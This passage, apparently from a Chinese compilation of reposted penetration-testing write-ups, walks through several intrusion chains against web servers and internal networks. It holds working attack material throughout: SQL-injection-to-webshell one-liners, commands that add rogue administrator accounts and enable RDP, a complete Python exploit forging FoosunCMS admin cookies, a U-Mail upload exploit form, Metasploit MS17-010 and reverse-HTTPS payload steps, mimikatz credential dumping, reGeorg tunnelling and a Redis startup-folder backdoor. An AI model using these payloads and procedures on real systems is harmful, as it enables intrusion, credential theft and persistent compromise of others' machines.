  8. 0x01 渗透测试过程通过渗透网站拿到webshell,然后通过webshell拿到网站主机系统权限,发现受害主机有两张网卡,另一张网卡下有两台存活的内网主机,然后我们就尝试渗透存活的内网主机看能不能拿到系统权限,最后发现两台内网主机都开启了445端口,然后搜索了一下445端口漏洞发现有个最新的m17_010可能可以利用,结果真的通过ms17_010成功获得了内网主机的权限。 目标网站ip:192.168.31.196 浏览网站通过手工测试发现http://url/hr/hr.php?hrid=15处有注入点 尝试利用sqlmap工具跑一下这个注入点,看能不能注出有用的信息 通过测试发现这个注入点果然可以进行注入 然后利用该注入点进行尝试注出网站后台登录账号密码 发现跑出来的网站后台密码是用md5加密的,所以利用md5解密一下,发现只有两个权限较低的密码可以解密,而权限较高的admin账号解不开。不过问题不大,先用登录后台(后台登录界面可以用御剑跑出来)看一下 利用御剑跑出的后台目录里有个phpinfo页面,说不定可以得到一些有用的信息 发现可以得到网站文件的绝对路径 发现网站后台数据维护处可以执行sql语句,通过phpinfo页面知道了网站绝对路径,可以尝试在此处写入php一句话木马 select "<?php eval($_POST[123456]);?>" into outfile "/UPUPW_AP5.2/vhosts/jy.test.com/321.php" 发现可以执行成功 尝试用蚁剑(菜刀也可以)连接,发现成功连接 利用蚁剑虚拟终端创建一个用户并将其加入到管理员组 net user ddd 123456 /add net localgroup Administrators ddd /add 然后开启3389端口就可以通过3389端口远程控制目标机了 wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1用netstat -an命令查看发现成功开启3389端口 用arp -a命令发现目标机有两块网卡,有一块网卡是内网ip,我们开始尝试渗透内网 0x02 内网渗透测试目标机ip:192.168.238.129、192.168.238.130 kali攻击机ip:192.168.31.119 1. 测试思路因为我们已经成功getshell了ip为192.168.31.196的主机,而238段的内网ip是它的另一块网卡下的主机,所以可以利用已经getshell的这台主机作为代理去渗透238段的主机 2. 渗透过程利用蚁剑在该网站根目录上传一个reGeorgSocksProxy的php脚本文件 设置kali的proxychains代理地址和端口,命令:vi /etc/proxychains.conf将dynamic_chain前的#去掉 设置代理地址和端口后:wq退出 配置好后通过reGeory来打通本地和目标的通道,出现如下画面则连接成功 python reGeorgSocksProxy.py -p 9050 -l 0.0.0.0 -u http://192.168.31.196/tunnel.php本地所有工具都可通过目标服务器进一步攻击所有工具使用命令前加 proxychains,这样kali的所有工具就如同全部在内网那台getshell的服务器上 用nmap扫描内网的两个ip开放的端口发现都有445端口,192.168.238.129为03系统 ,192.168.238.130为xp系统,这里以192.168.238.130这台主机为例 用msfconsole搜索发现445端口有一个ms17_010的漏洞,可以尝试反弹shell 设置好利用ms17_010所需要的参数 use exploit/windows/smb/ms17_010_psexec #切换到ms17漏洞模块 set RHOST 192.168.238.130 #设置目标机ip run #开始连接 成功反弹到shell,然后就可以查看目标机的一些信息了 添加一个新用户名账号,发现成功添加 run getgui -u ding(用户名) -p 123456(密码)利用mimikatz工具查看系统管理员账号密码 load mimikatz #启动mimikatzmsv #查看管理员密码hash也可以利用mimikatz获取到密码明文 kerberos #获取管理员密码明文获取到明文管理员账号密码后就可以开启远程桌面用管理员账号密码进行登录系统了 成功远程登录到目标桌面 0x03 总结1.通过手工测试发现http://192.168.31.196/hr/hr.php?hrid=15链接加单引号,SQL报错,证明存在注入漏洞2.通过sqlmap测试发现该链接存在注入,最终跑出用户名和密码hash值,将得到的密码hash值进行MD5解密,且成果解密3.通过御剑目录扫描工具,发现存在admin和phpinfo.php 路径4.访问admin目录,该目录是网站后台管理页面,输入用户名和密码即可进入后台5.通过访问phpnifo.php可发现网站的绝对路径为c:\upupw_ap5.26.发现网站后台数据维护处可以执行sql语句,通过phpinfo页面知道了网站绝对路径,可以尝试在此处写入php一句话木马select "<?php eval($_POST[123456]);?>" into outfile "c:\upupw_ap5.2\vhosts\jy.test.com\321.php" 7.通过蚁剑连接一句话,并通过命令虚拟终端添加用户和到管理员组net user ddd 123456 /addnet localgroup Administrators ddd /add8.通过注册表开启3389端口9.通过命令查看3389端口是开放的netstat -ano |find "3389"10.使用ipconfig/all命令,发现存在目标系统网络存在双网卡,一个网卡是192.168.31.196,另外一张网卡是192.168.238.13010.使用命令探测存活主机,发现存在目标主机还存在192.168.238.129和192.168.238.130两个存活主机arp -a13.将reGeorgSocksProxy的php脚本文件通过蚁剑上传到目标系统中(192.168.31.196),并访问链接http://192.168.31.196/tunnel.php14.设置kali的proxychains代理地址和端口,命令:vi /etc/proxychains.conf将dynamic_chain前的#去掉socks4 127.0.0.1 905015.配置好后通过reGeory来打通本地和目标的通道,在攻击机KALI下执行python reGeorgSocksProxy.py -p 9050 -l 0.0.0.0 -u http://192.168.31.196/tunnel.php16.通过proxychains加密msf进行攻击proxychains msfconsole14.使用scanner模块扫描一下哪些机器可能存在ms17-010的漏洞,发现192.168.238.130存在ms17-010漏洞msf>use auxiliary/scanner/smb/smb_ms17_010msf>set rhosts 192.168.238.0/24msf>set thread 20msf>run15.使用ms17-010模块进行攻击msf>use exploit/windows/smb/ms17_010_psexec msf>set RHOST 192.168.238.130 msf>run 16.使用MSF进行信息收集meterprter>getsystem //进行提权meterprter>getuid //发现是system权限meterprter>ifconfigmeterprter>run getgui -u ding(用户名) -p 123456(密码) //添加一个新用户名账号meterprter>load mimikatz //启动mimikatzmeterprter>msv //查看管理员密码hashmeterprter>kerberos //获取管理员密码明文16.获取到明文管理员账号密码后就可以开启远程桌面用管理员账号密码进行登录系统了 原文地址:https://blog.csdn.net/weixin_44991517/article/details/90718228
  9. 内网漫游拓扑图 利用登录绕过漏洞进行后台 目标网站ip:192.168.31.55,将目标网站ip绑定到本地hosts文件下的www.test.com下(防止直接访问ip网站加载不全),访问www.test.com得到网站首页,发现是一个html静态网站 经过点击发现该网站是FoosunCMS搭建的经过点击发现该网站是FoosunCMS搭建的 版本为v2.0,存在可以利用的漏洞,绕过管理员账号信息验证,直接进入后台,可谓是非常危险的一个利用漏洞,访问网站后台地址:/manage/Index.aspx 搜索发现FoosunCMS v2.0有一个登录绕过漏洞,尝试登录绕过,访问下面链接得到UserNumber http://www.test.com/user/City_ajax.aspx?CityId=1%27%20union%20all%20select%20UserNum,UserNum%20from%20dbo.fs_sys_User%20where%20UserName=%27admin发现得将UserNumber加密后拼接成cookie即可成功登录 直接用sql注入拿到UserNumber,然后再与UserName等拼接,构造cookie直接以管理员权限登录,Exp代码如下: #coding:utf-8import argparseimport urllibimport tracebackimport base64from Crypto.Cipher import AESfrom binascii import b2a_hex, a2b_hex#################################search keyword:####inurl:/manage/Login.aspx #################################KEY = 'Guz(%&hj7x89H$yuBI0456FtmaT5&fvHUFCy76*h%(HilJ$lhj!y6&(*jkP87jH7'IV = 'E4ghj*Ghg7!rNIfb&95GUY86GfghUb#er57HBh(u%g6HJ($jhWk7&!hg4ui%$hjk'def parse_args(): parser = argparse.ArgumentParser() parser.add_argument("-u", "--url", help="the url", required=True, nargs="+") return parser.parse_args()def run(url): try: usernumber = get_usernumber(url) if usernumber is not None: encrypt_cookie = generate_cookie(usernumber) #写入cookie中 write_cookie(url, encrypt_cookie) except Exception: traceback.print_exc()def get_usernumber(url): fullurl = url + "/user/City_ajax.aspx?CityId=1' union all select UserNum,UserNum from dbo.fs_sys_User where UserName='admin" content = urllib.urlopen(fullurl).read() index = content.index("<option value=\"") if index != -1: usernumber = content[index+15:] usernumber = usernumber[0: content.index("\"")+1] print "Get usernumber success. Usernumber is :", usernumber return usernumber else: print "Get usernumber fail" return Nonedef pkcs7padding(data): bs = AES.block_size padding = bs - len(data) % bs padding_text = chr(padding) * padding return data + padding_textdef generate_cookie(usernumber): orgstr = "%s,admin,0,1,False"%(usernumber,) cryptor = AES.new(KEY[0:32], AES.MODE_CBC, IV[0:16]) ciphertext = cryptor.encrypt(pkcs7padding(orgstr)) ciphertext = base64.b64encode(ciphertext) return ciphertextdef write_cookie(url, ciphercookie): print "Generate Cookie[SITEINFO]:", ciphercookie print "Now you can write cookie and access the url: %s/manage/index.aspx"%(url,)if __name__ == '__main__': args = parse_args() try: if args.url is not None: run(args.url[0]) except Exception, e: print "python Foosun_exp.py -u [url]" 执行后成功得到加密的绕过后台登录cookie 将脚本打印的加密Cookie用EditThisCookie写入浏览器Cookie 然后访问http://www.test.com/manage/Index.aspx即可成功进入后台 注意: 如果在执行exp脚本的时候出现以下情况,则需要安装python Crypto.Cipher加密包 安装加密包 pip install pycryptodome利用文件上传漏洞获取shell 进入后台后发现控制面板>系统参数设置>上传处可修改上传文件允许格式,在里面加入aspx格式 在插件管理>广告系统>添加广告处可上传文件尝试上传aspx一句话脚本发现成功上传 并返回上传后的文件路径 利用菜刀成功连接到上传的aspx一句话脚本,但是发现权限不是system权限 尝试利用sqlmap获取交互shell 将上面发现的注入点放进sqlmap跑一下http://www.test.com/user/City_ajax.aspx?CityId=1%27%20union%20all%20select%20UserNum,UserNum%20from%20dbo.fs_sys_User%20where%20UserName=%27admin利用sqlmap获得交互shellsqlmap.py -u"http://www.test.com/user/City_ajax.aspx?CityId=1%27%20union%20all%20select%20UserNum,UserNum%20from%20dbo.fs_sys_User%20where%20UserName=%27admin" --os-shell 成功获得交互shell并且是system权限利用sqlmap尝试写入一句话木马(补充:注意转义问题)利用菜刀成功连接 尝试添加用户失败,显示密码不满足密码策略组要求复杂性太低加强密码复杂性,再次添加用户发现命令执行成功将添加的用户加入到管理员组 利用Sqlmap交互shell发现该主机ip为192.168.1.123,而不是我们所访问的192.168.31.55。那么有可能是利用了端口转发把不在同一网段的ip转发到了同一网段 设置代理对另一内网进行渗透内网漫游 通过查看发现其开启了3389端口,利用前面添加的管理员账号密码远程登录3389,发现在administrator管理员用户下桌面上有一个记事本发现了两个账号密码 利用发现的账号登录www.test.com:8080端口的路由界面发现限制了ip登录,我们猜测可能是设置了只能内网ip登录 然后我们在本地设置代理后成功登录,发现是个内网路由网站,登录路由后发现该路由器下还有一个172.19.23.123的网站 这里我们利用kali里的reGeorge+proxychains代理来进行内网渗透,首先设置proxychains的配置文件,打开kali终端输入以下命令,并将dynamic_chain前面的注释符#去掉vi /etc/proxychains.conf 设置端口设置好以后保存退出,切换到reGeorg-master文件下打通代理隧道,返回下面页面则表示代理成功python reGeorgSocksProxy.py -p 2333 -l 0.0.0.0 -u http://www.test.com/files/tunnel.aspx 使用代理打开Firefox浏览器,注:命令前面加proxychains => 使用代理执行该命令proxychains firefox 利用上面我们发现的账号密码成功登录该网站 发现这个网站是一个u-mailCMS,我们发现u-mail爆发过一个很严重的文件上传漏洞,可以尝试一下这个网站是否修复了这个漏洞,Exp代码如下:<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><FORM name=form1 method=post action="http://172.19.23.123/webmail/client/mail/index.php?module=operate&action=attach-upload" enctype=multipart/form-data>ʏԫτݾú<input type="file" name="Filedata" size="30"><INPUT type=submit value=ʏԫ name=Submit> 使用代理打开构造的html页面,然后上传一个后缀为jpg的php大马 上传成功后回显出文件file_id信息 利用下面payload获取到当前登录的user_id为3http://172.19.23.123/webmail/client/oab/index.php?module=operate&action=member-get&page=1&orderby=&is_reverse=1&keyword=xgk 利用爆出来的user_id和file_id构造出上传的大马文件路径,并利用PHP解析漏洞,路径后面加/.php成功解析 总结1.访问目标系统的WEB端口,然后通过在线指纹识别查询目标系统的CMS系统为FoosunCMS,该网站存在历史漏洞后台注入漏洞,且版本为v2.0http://www.test.com2.访问以下地址,可获得管理员的UserNumberhttp://www.test.com/user/City_ajax.aspx?CityId=1%27%20union%20all%20select%20UserNum,UserNum%20from%20dbo.fs_sys_User%20where%20UserName=%27admin3。直接访问后台页面http://www.test.com/manage/Index.aspx4.直接用sql注入拿到UserNumber,然后再与UserName等拼接,构造cookie直接以管理员权限登录,Exp代码如下:#coding:utf-8import argparseimport urllibimport tracebackimport base64from Crypto.Cipher import AESfrom binascii import b2a_hex, a2b_hex#################################search keyword:####inurl:/manage/Login.aspx #################################KEY = 'Guz(%&hj7x89H$yuBI0456FtmaT5&fvHUFCy76*h%(HilJ$lhj!y6&(*jkP87jH7'IV = 'E4ghj*Ghg7!rNIfb&95GUY86GfghUb#er57HBh(u%g6HJ($jhWk7&!hg4ui%$hjk'def parse_args(): parser = argparse.ArgumentParser() parser.add_argument("-u", "--url", help="the url", required=True, nargs="+") return parser.parse_args()def run(url): try: usernumber = get_usernumber(url) if usernumber is not None: encrypt_cookie = generate_cookie(usernumber) #写入cookie中 write_cookie(url, encrypt_cookie) except Exception: traceback.print_exc()def get_usernumber(url): fullurl = url + "/user/City_ajax.aspx?CityId=1' union all select UserNum,UserNum from dbo.fs_sys_User where UserName='admin" content = urllib.urlopen(fullurl).read() index = content.index("<option value=\"") if index != -1: usernumber = content[index+15:] usernumber = usernumber[0: content.index("\"")+1] print "Get usernumber success. Usernumber is :", usernumber return usernumber else: print "Get usernumber fail" return Nonedef pkcs7padding(data): bs = AES.block_size padding = bs - len(data) % bs padding_text = chr(padding) * padding return data + padding_textdef generate_cookie(usernumber): orgstr = "%s,admin,0,1,False"%(usernumber,) cryptor = AES.new(KEY[0:32], AES.MODE_CBC, IV[0:16]) ciphertext = cryptor.encrypt(pkcs7padding(orgstr)) ciphertext = base64.b64encode(ciphertext) return ciphertextdef write_cookie(url, ciphercookie): print "Generate Cookie[SITEINFO]:", ciphercookie print "Now you can write cookie and access the url: %s/manage/index.aspx"%(url,)if __name__ == '__main__': args = parse_args() try: if args.url is not None: run(args.url[0]) except Exception, e: print "python Foosun_exp.py -u [url]" 执行后成功得到加密的cookie访问以下地址,并替换cookie信息,成功登陆到后台http://www.test.com/manage/login.aspx?urls5.发现后台后发现控制面板>系统参数设置>上传处可修改上传文件允许格式,在里面加入aspx格式6.在插件管理>广告系统>添加广告处可直接上传aspx一句话,并返回了的文件路径7.通过菜刀成功连接到一句话,通过自带的命令终端,发现目标权限不是system权限8.尝试利用sqlmap获取交互shell,成功获得交互shell并且是system权限,这里的网站路径,可以在菜刀目录查看到sqlmap.py -u"http://www.test.com/user/City_ajax.aspx?CityId=1%27%20union%20all%20select%20UserNum,UserNum%20from%20dbo.fs_sys_User%20where%20UserName=%27admin" --os-shell,写入一句需要对特殊符号的转义进行处理echo "<%@ page language="jscript"%><%eval(request.item["pass"],"unsafe");%'>>"c:\innetpub\wwwrot\d.aspx"9.通过sqlmap获取交互shell,添加用户,并将用户添加到管理员组net user dimg Passw0rd /addnet localgroup administrators dimg /add10.利用Sqlmap交互shell发现该主机ip为192.168.1.123,而不是我们所访问的192.168.31.55,那么有可能是利用了端口转发把不在同一网段的ip转发到了同一网段12.通过菜刀功能的文件预览功能,发现桌面上存在一个my iefe的记事本,其内容是mail邮箱的账号和密码以及ikuni的密码13.通过NAMP扫描目标系统存在8080端口,并访问8080端口,发现无法登录,可能是限制内网IP登录14.这里通过远程桌面登录到www.test.com系统上。其中对应的外网IP地址为www.test.com, 映射的内网IP地址为192.168.1.12315.这里也可以通过上线CS,并开启socks4代理,通过代理访问http://www.test.com:8080,成功登录后台,发现还有一个网段172.19.23.0/2416.将eGeorg-master文件下tunnel.aspx通过菜刀上传到目标系统中,并进行访问17.在攻击机下执行以下命令启动代理成功python reGeorgSocksProxy.py -p 2333 -l 0.0.0.0 -u http://www.test.com/files/tunnel.aspx18,在攻击机下vi /etc/proxychains.conf127.0.0.1 233320.使用NMAP加载proxychains 进行端口扫描,发现存在172.19.23.123:80,为MAIL服务proxychains nmap 172.19.23.0/2421.通过Firefox浏览器加载proxychains 成功打开http://172.19.23.123:80,通过泄露的用户名和密码可成功登陆22.发现这个网站是一个u-mailCMS,我们发现u-mail爆发过一个很严重的文件上传漏洞23.使用代理打开构造的html页面,然后上传一个后缀为jpg的php大马,上传成功后回显出文件file_id信息<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><FORM name=form1 method=post action="http://172.19.23.123/webmail/client/mail/index.php?module=operate&action=attach-upload" enctype=multipart/form-data>ʏԫτݾú<input type="file" name="Filedata" size="30"><INPUT type=submit value=ʏԫ name=Submit>24.利用下面payload获取到当前登录的user_id为3http://172.19.23.123/webmail/client/oab/index.php?module=operate&action=member-get&page=1&orderby=&is_reverse=1&keyword=xgk25.利用爆出来的user_id和file_id构造出上传的大马文件路径,并利用PHP解析漏洞,路径后面加/.php成功解析 原文连接:https://blog.csdn.net/weixin_44991517/article/details/91355442
  10. 0x00 简介 0x01 获得shellGetshell的过程没什么好说的,无非简单的后台弱口令到上传然后冰蝎连接getshell。 获得shell后,模拟终端ping 8.8.8.8有返回包,说明该服务器与外网互通。 既然跟外网互通,那么可以尝试直接使用msf的exploit/multi/handler配合冰蝎反弹shell来获得session use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set lhost xxx.xxx.xxx.xxx set lport 5665 run 但是结果很不尽人意,没能够成功获得session。 在使用冰蝎模拟终端收集信息过程中,发现本地有powershell进程。 再次打开msf,本次尝试使用web_delivery配合终端执行powershell指令来获得session。 User exploit/multi/script/web_delivery Set targets 2 set payload windows/x64/meterpreter/reverse_https set lhost xxx.xxx.xxx.xxx set lport 4332 set srvport run 获得payload,使用冰蝎或者C刀模拟终端直接执行,成功获得session,执行getuid发现权限为system权限,省去了提权过程。 0x02 权限维持 我们使用ps查看当前进程,然后选中一个看起来比较持久的幸运儿spoolsv.exe(这是一个用来控制打印的进程,我遇到的机器基本都开启了此进程) 注意:选择进程的时候优先选择系统进程,这种比较持久且为system权限 migrate 进程号 getpid 0x03 内网信息搜集 接下来,查看IP信息以及arp缓存,查看网段分布情况: 发现该服务器只存在192.168.10.0/24网段的信息 于是继续查看其他信息 Netstat -ano 发现服务器开放3389端口: 既然开启了3389端口,我们使用端口转发,登录到服务器看看有没有意外收获。 portfwd add -l 6666 -p 3389 -r 127.0.0.1 IP有了,3389开了,现在我们缺少的是用户名密码 直接meterpreter下加载mimikatz Load mimikatz Wdigest 比较遗憾的是没能获取到明文密码,但是我这边使用cobalt strike加载的mimikatz成功获取到明文密码 emmm总之搞不懂的地方先归为玄学问题 现在,密码也有了,mstsc链接目标3389端口成功此处涉及的敏感信息较多,放弃截图,我尽量用语言表述清楚思路 上传netpass查看rdp缓存,无果,但是发现系统有VNC 查看VNC相关文件发现新的网段信息,但是没有保存的连接信息,不过能获得新的网段信息也是知足了 0x04 横向 根据之前发现的网段信息以及服务器本机的路由信息,我们手动添加路由 Run autoroute -s 192.168.10.0/24 Run autoroute -s 172.16.0.0/24 …… 其他网段同理,添加路由之后bg退回到控制台 先使用auxiliary/scanner/smb/smb_version模块扫描一下各网段的smb服务开启情况 Use auxiliary/scanner/smb/smb_version set rhosts 192.168.10.0/24 set threads 10 run 可以看到,活着的机器还挺多。 然后,使用auxiliary/scanner/smb/psexec_loggedin_users模块配合已获得的两组账户密码进行横向 Use auxiliary/scanner/smb/psexec_loggedin_users Set rhosts 192.168.10.0/24 Set smbuser username Set smbpass password Set threads 5 run 尴尬,横向失败,居然没有用同账户密码 既然横向失败,可以考虑最简单的,但也是最实用的大杀器,ms17-010 先使用scanner模块扫描一下哪些机器可能存在ms17-010的漏洞 Use auxiliary/scanner/smb/smb_ms17_010 Set rhosts 192.168.10.0/24 Set thread 20 Run 由于打ms17-010的流量比较大,为了防止死掉,我根据扫描出来的结果,针对性的选择一台感觉比较容易搞的目标,单独打。 此处试了很多机器,好多都打了补丁,不过也有漏网之鱼,此处单独拿一台示例: Use auxiliary/admin/smb/ms17_010_command set rhost 192.168.10.18 set command whoami run 成功执行,是system权限,同理command换成弹shell的命令,便可以获得该机器的权限。 获得新机器的权限之后,便可以围绕新机器进行新一轮的信息搜集,然后不断横向,进一步扩大内网战果,以下,就不在多做测试。 另外对于ms17-010,如果说打2003的机器,建议使用auxiliary/admin/smb/ms17_010_command模块进行执行命令获得session;其他的可以直接使用exploit/windows/smb/ms17_010_eternalblue或者exploit/windows/smb/ms17_010_psexec来直接获得session。 0x05 总结1.目标已获得shell,通过冰蝎已连接一句话 2.在MSF下执行以下命令,生成web_delivery的ps后门和监听 msf>user exploit/multi/script/web_delivery msf>set targets 2 msf>set payload windows/x64/meterpreter/reverse_https msf>set lhost 172.17.0.4 msf>set lport 4332 msf>set srvhost 0.0.0.0 msf>set srvport 3294 msf>run 3.复制生成的PS后门,在冰蝎命令终端执行,MSF成功上线 msf>sessions 1 4.查看目标权限为system权限 meterpreter>getuid 5.权限维持,进程迁移 meterpreter>ps //查看spoolsv.exe所在的system权限的进程PID为7072 meterpreter>migrate 7072 6.内网信息收集 meterpreter>shell c:\>ipconfig/all //发现目标内网IP为192.168.10.122 c:\>arp -a //发现有多个IP存活 c:\>netstat -ano //发现目标系统3389端口已开放 7.直接meterpreter下加载mimikatz,获取到用户的密码和明文 meterpreter>Load mimikatz meterpreter>Wdigest 8.既然开启了3389端口,我们使用端口转发 portfwd add -l 6666 -p 3389 -r 127.0.0.1 9.在kali下远程桌面登录 redesktop 127.0.0.1 6666 10.远程桌面登录,通过netpass进行远程桌面密码查看,发现没有任何东西,但是发现存在VNC链接 11.根据之前发现的网段信息以及服务器本机的路由信息,我们手动添加路由 meterpreter>run autoroute -s 192.168.10.0/24 meterpreter>run autoroute -s 172.16.0.0/24 meterpreter>run autoroute -p meterpreter>route print meterpreter>background msf>route add 192.168.10.0 255.255.255.0 1 msf>route add 172.16.0.0 255.255.255.0 1 12.使用auxiliary/scanner/smb/smb_version模块扫描一下各网段的smb服务开启情况 meterpreter>background msf>use auxiliary/scanner/smb/smb_version msf>set rhosts 192.168.10.0/24 msf>set threads 10 msf>run 13.使用auxiliary/scanner/smb/psexec_loggedin_users模块配合已获得的两组账户密码进行横向,发现都失败了 msf>use auxiliary/scanner/smb/psexec_loggedin_users msf>set rhosts 192.168.10.0/24 msf>set smbuser username msf>set smbpass password msf>set threads 5 msf>run 14.使用scanner模块扫描一下哪些机器可能存在ms17-010的漏洞 msf>use auxiliary/scanner/smb/smb_ms17_010 msf>set rhosts 192.168.10.0/24 msf>set thread 20 msf>run 15.由于打ms17-010的流量比较大,为了防止死掉,我根据扫描出来的结果,针对性的选择一台感觉比较容易搞的目标,单独打。 msf>use auxiliary/admin/smb/ms17_010_command msf>set rhost 192.168.10.18 msf>set command whoami msf>run 原文连接: https://xz.aliyun.com/t/6920
  11. 0x00 概述目标站点是http://www.example.com,官网提供了api使用文档,但是对其测试后没有发现漏洞,目录、端口扫描等都未发现可利用的点。后发现官网提供了客户端下载,遂对其进行一番测试。 0x01 信息收集先抓了下客户端的包,使用Fiddler和BurpSuite都抓不到,怀疑走的不是HTTP协议,用WireShark查看其确实用的是HTTP协议,但是数据包不好重放,这里最后使用了WSExplorer抓指定进程的包,成功抓取到通信的数据,抓到的数据如下,绿色的是请求包,红色的是响应包。 数据包又分为两部分,一个是请求行和请求头。 一个是请求正文。 拼接起来即可放到BurpSuite中进行数据包的重放 0x03 测试过程可看到请求包经过了加密再传输,返回的响应包也经过了加密。但是加解密总归是在客户端进行的,所以可从分析客户端入手。 使用Exeinfo PE查壳,可得知使用的是.NET框架 C#开发的程序。 可以使用dnspy,针对.NET程序的逆向工程工具,对客户端的加解密进行分析。打开后发现类及方法的命名都是无规律的数字字母,代码做了混淆。 混淆了的代码不利用阅读分析,可使用De4Dot尝试反混淆,支持很多种混淆加密工具混淆过的源码。 de4dot-x64.exe origin.exe 即可得到反混淆后的程序 origin-cleaned.exe 将反混淆后的程序拖入dnspy查看,可看到基本已还原,提高了可读性。 因为其通信采用的是HTTP协议,又发现有个类名为HttpHelper,跟进分析,代码不多看到一个Post函数,疑似为对数据加密并发起Post请求的方法,如图。 调用了MM.Encrypt()对请求的参数进行加密,跟进方法,发现其中关键的加密函数应该就是MM类下的test05函数。 下断点,验证程序是否调用此函数进行加密并传输,我在明文及密文处下了断点。 F5启动程序,输入账号密码test123456,登录。 程序在断点处停了下来,明文中包含我输入的账号test123456和md5加密过的密码。 放行,得到经过加密的内容,可确定就是调用了此处的加密函数。 后又证实响应包解密调用的是MM类下的test06函数,请求包加密函数test05及响应包解密函数test06都是调用Dll中对应的函数。 此处加解密调用的是两套方法,不能用解密函数去解密请求包加密后的数据。为了方便测试,以及快速加解密,将其加解密函数扣出来,同样调用Dll里的函数,编译成一个独立的程序,这样也不用分析算法。 这里我使用的是SharpDevelop编译的,使用Visual Studio总是会报错… public static string decryptResponse(string cipher){ byte[] bytes = Encoding.UTF8.GetBytes(cipher); byte[] array = new byte[bytes.Length + 128]; int count = Program.test06(ref bytes[0], ref array[0]); string text = Encoding.UTF8.GetString(array, 0, count); return text; } public static string encryptRequest(string plain){ byte[] bytes = Encoding.UTF8.GetBytes(plain); int num = bytes.Length * 2 + 128; if(num<32){ num = 64; } byte[] array = new byte[num]; int num2 = 0; num2 = test05(ref bytes[0], ref array[0]); string result = Encoding.UTF8.GetString(array, 0, num2); return result; } 加密 解密 再用Python的Flask框架在本地写一个代理转发程序,方便在BurpSuite中进行重放测试。 流程如下: 本地发送明文数据包到代理代理接收到请求包调用程序对请求包进行加密将加密后的数据包转发给服务器调用程序对服务器返回的内容解密返回给明文数据到本地from flask import request, Flask from urllib.parse import quote import requests import os headers = { 'User-Agent': 'Mozilla', 'Content-Type': 'application/x-www-form-urlencoded', 'Accept-Encoding': 'gzip, deflate', } app = Flask('example') @app.route('/example', methods=['POST']) def proxy(): form = request.form request_plain = '' for key in form: request_plain += '&{}={}'.format(key, form[key]) response_plain = test(request_plain) return response_plain def encrypt(filename): encrypt_cmd = 'crypto.exe -encrypt {}'.format(filename) #要加密的内容 从文件读取 result = os.popen(encrypt_cmd) # 执行exe request_cipher = quote(result.read()) #加密后的内容 经过一次url编码把 + 号 转成 %2B 服务端才能识别 return request_cipher def decrypt(filename): decrypt_cmd = 'crypto.exe -decrypt {}'.format(filename) #要解密的内容 从文件读取 result = os.popen(decrypt_cmd) # 执行exe response_plain = result.read() # 读取解密后的内容 return response_plain def test(request_plain): url = 'http://example.com/api/' plain_txt = 'plain.txt' with open(plain_txt, 'w') as f1: f1.writelines(request_plain) # 存放明文到plain.txt request_cipher = encrypt(plain_txt) # 加密明文 response = requests.post(url=url, data=request_cipher, headers=headers) #发送请求 cipher_txt = 'cipher.txt' with open(cipher_txt, 'w') as f2: f2.writelines(response.text) #存放密文到cipher.txt response_plain = decrypt(cipher_txt) # 解密密文 return response_plain if __name__ == '__main__': app.run(host='0.0.0.0', port=9999, debug=True) 这里每次请求的接口都是一样的,改变的只是请求体中的参数。在CodeService中有所有接口的明文,全部提取出来。 即可正常的在BurpSuite中进行测试~ 最后成功在一个接口中发现SQL注入。 0x04 总结1.通过WSExplorer抓指定进程的包,发现http协议的数据包已加密2.使用Exeinfo PE查壳,可得知使用的是.NET框架 C#开发的程序3.使用dnspy对程序进行反编译,发现源码已混淆加密4.使用De4Dot尝试反混淆,支持很多种混淆加密工具混淆过的源码de4dot-x64.exe origin.exe5.再次使用dnspy对程序进行反编译,然后查看到程序加密的函数方法,对其断点,然后按F5运行,程序在断点处停了下来,明文中包含我输入的账号test123456和md5加密过的密码。6.找到程序的加密和解密函数段,将其主要代码抠出来,使用python编写7.再用Python的Flask框架在本地写一个代理转发程序,方便在BurpSuite中进行重放测试。流程如下:本地发送明文数据包到代理代理接收到请求包调用程序对请求包进行加密将加密后的数据包转发给服务器调用程序对服务器返回的内容解密返回给明文数据到本地 原文连接:https://blog.csdn.net/qq_32727277/article/details/102783316
  12. 0x01 简介本次测试为实战测试,测试环境是授权项目中的一部分,敏感信息内容已做打码处理,仅供讨论学习。请大家测试的时候,务必取得授权。 拿到授权项目的时候,客户只给我了一个公司名字,这里以某某公司代替。 0x02 信息搜集老办法,先是子域名扫描,然后目录扫描,发现了个鸡毛,啥利用点也没有,而且是云主机。进一步探测资产,欧力给,发现了CVE-2019-0708。targetr是windows server 2008 r2系统。 0x03 Getshell心想,发现了CVE-2019-0708,这样shell总稳了吧。这时迟那时快,拿出我的大保健msf,梭哈一波。卧槽,居然发现不能利用,探测到有漏洞,但是创建session失败。 不甘心,set target也没用,攻击了20多次,还是一样的错误,害苦了客户的靶机,跟着蓝屏20多次。 继续看,发现有redis资产,尝试弱口令看看,居然密码是123123,先查看一下信息: 这里利用有个难点,就是我们根本不知道网站的实际物理路径,尝试报错或者物理路径爆破,无果~~~,所以无法通过写一句话等形式拿下Webshell;这里也没有像linux一样的反弹利用;也没有计划任务可写。 经过前期的信息收集发现是windows server 2008 r2,我们可以写一个启动木马的脚本放到启动里面,然后利用CVE-2019-0708“强迫”主机重启。 说干就干,这里用powershell的cs马(请注意免杀,这里不讨论)。先设置redis的工作目录为windows的启动目录,然后写cs的马,最好记得务必save,否则一直会在内存中。 利用CVE-2019-0708“强迫”主机重启。可以看到已经顺利上线。 经过实测,这个启动项是可以过国内某杀软的,但是在调用cmd时会被拦截。 0x03 总结1.通过信息收集发现目标存在cve-2019-0708漏洞,漏洞利用发现系统蓝屏重启2.通过nmap扫描发现目标系统开放了3679端口,该端口未redis服务3.尝试通过弱口令进入123123可进入到目标系统,但是现在不知道网站的根目录,只能将后门写入到启动项4.在CS中生成PS脚本后门5.在redis命令下进行写马config set dir 'c:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/"config set dbfilename update.batset shell "\r\n\r\npowershell.exe -nop -w hidden -c "save info6.通过cve-2019-0708漏洞蓝屏重启,成功上线CS 原文连接: https://mp.weixin.qq.com/s?__biz=Mzg4NTUwMzM1Ng==&mid=2247489578&idx=1&sn=9dc27c1ad60bfbb4fdca0316ce18ee4c&chksm=cfa6bc39f8d1352f5b0feb60e8029a68f8719ce8ac42a3d3475db722a319dacfe92e97da7607&scene=178&cur_album_id=1553386251775492098#rd
